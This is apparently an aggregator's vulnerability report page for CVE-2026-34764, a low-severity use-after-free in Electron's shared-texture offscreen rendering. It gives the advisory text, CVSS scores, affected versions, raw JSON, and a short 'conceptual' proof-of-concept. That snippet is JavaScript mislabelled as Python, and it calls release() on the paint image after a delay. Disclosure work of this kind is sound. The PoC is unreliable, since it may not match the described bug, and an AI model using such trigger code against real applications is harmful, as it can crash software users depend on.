Security Vulnerability Report
中文
CVE-2026-34764 CVSS 2.3 LOW

CVE-2026-34764

Published: 2026-04-06 16:16:37
Last Modified: 2026-05-01 20:01:13

Description

Electron is a framework for writing cross-platform desktop applications using JavaScript, HTML and CSS. From 33.0.0-alpha.1 to before 39.8.5, 40.8.5, 41.1.0, and 42.0.0-alpha.5, apps that use offscreen rendering with GPU shared textures may be vulnerable to a use-after-free. Under certain conditions, the release() callback provided on a paint event texture can outlive its backing native state, and invoking it after that point dereferences freed memory in the main process, which may lead to a crash or memory corruption. Apps are only affected if they use offscreen rendering with webPreferences.offscreen: { useSharedTexture: true }. Apps that do not enable shared-texture offscreen rendering are not affected. To mitigate this issue, ensure texture.release() is called promptly after the texture has been consumed, before the texture object becomes unreachable. This vulnerability is fixed in 39.8.5, 40.8.5, 41.1.0, and 42.0.0-alpha.5.

CVSS Details

CVSS Score
2.3
Severity
LOW
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:electronjs:electron:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:electronjs:electron:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:electronjs:electron:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:electronjs:electron:42.0.0:alpha1:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:electronjs:electron:42.0.0:alpha2:*:*:*:node.js:*:* - VULNERABLE
Electron >= 33.0.0-alpha.1, < 39.8.5
Electron >= 40.0.0, < 40.8.5
Electron >= 41.0.0, < 41.1.0
Electron >= 42.0.0-alpha.1, < 42.0.0-alpha.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// Conceptual PoC for CVE-2026-34764 // Requires Electron app with offscreen rendering enabled const { app, BrowserWindow } = require('electron'); app.whenReady().then(() => { const win = new BrowserWindow({ webPreferences: { offscreen: true, // Vulnerable configuration: using shared texture useSharedTexture: true } }); win.webContents.on('paint', (event, dirty, image) => { console.log('Paint event received, texture size:', image.getSize()); // Simulate a delay or complex logic that keeps the reference // while the native state might be disposed elsewhere setTimeout(() => { try { // Calling release() after native state is freed triggers UAF image.release(); console.log('Texture released successfully'); } catch (e) { console.error('Potential crash or memory corruption:', e); } }, 500); }); win.loadURL('about:blank'); });

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34764", "sourceIdentifier": "[email protected]", "published": "2026-04-06T16:16:36.767", "lastModified": "2026-05-01T20:01:12.550", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Electron is a framework for writing cross-platform desktop applications using JavaScript, HTML and CSS. From 33.0.0-alpha.1 to before 39.8.5, 40.8.5, 41.1.0, and 42.0.0-alpha.5, apps that use offscreen rendering with GPU shared textures may be vulnerable to a use-after-free. Under certain conditions, the release() callback provided on a paint event texture can outlive its backing native state, and invoking it after that point dereferences freed memory in the main process, which may lead to a crash or memory corruption. Apps are only affected if they use offscreen rendering with webPreferences.offscreen: { useSharedTexture: true }. Apps that do not enable shared-texture offscreen rendering are not affected. To mitigate this issue, ensure texture.release() is called promptly after the texture has been consumed, before the texture object becomes unreachable. This vulnerability is fixed in 39.8.5, 40.8.5, 41.1.0, and 42.0.0-alpha.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:L", "baseScore": 2.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 0.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "33.0.0", "versionEndExcluding": "39.8.5", "matchCriteriaId": "A297C09B-A2A1-47B9-BC7B-223A0FE6F408"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "40.0.0", "versionEndExcluding": "40.8.5", "matchCriteriaId": "E5767B84-F164-4EC4-8A31-8E243374EA89"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "41.0.0", "versionEndExcluding": "41.1.0", "matchCriteriaId": "A87A2631-72BF-432E-B014-AEFE45CB9BAE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:42.0.0:alpha1:*:*:*:node.js:*:*", "matchCriteriaId": "498062D8-5C83-4FC2-A04B-94F3228B2BED"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:42.0.0:alpha2:*:*:*:node.js:*:*", "matchCriteriaId": "A272F9F4-AB62-407C-B1A8-18586A474C19"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:42.0.0:alpha3:*:*:*:node.js:*:*", "matchCriteriaId": "BF49E260-9653-4D26-8B6C-C6FAFE697F5A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:42.0.0:alpha4:*:*:*:node.js:*:*", "matchCriteriaId": "2F3B609A-0CA5-4E8C-865E-CF79B6B0CCCC"}]}]}], "references": [{"url": "https://github.com/electron/electron/security/advisories/GHSA-8x5q-pvf5-64mp", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}